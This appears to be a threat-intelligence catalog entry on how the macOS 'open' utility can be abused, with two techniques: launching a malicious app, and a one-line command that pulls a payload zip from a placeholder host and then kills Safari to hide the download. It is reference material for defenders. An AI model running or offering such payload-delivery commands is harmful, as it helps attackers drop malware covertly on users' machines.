CatalogLOOBins

ORCHARD · Tool

open

2 techniquesmacOSLOOBinsGPL-3.0

Open a malicious file

ExecutionmacOS

The open command can be used to open a malicious macOS app from the terminal.

open Malicious.app
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Execution
Detection
No detections at time of publishing: No detections at time of publishing

Download a malicious file

ExecutionmacOS

The following command downloads the payload.zip file in the default browser (Safari) and then kills it.

open -g https://mypayload.io/payload.zip; sleep 3; killall Safari
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Execution
Detection
No detections at time of publishing: No detections at time of publishing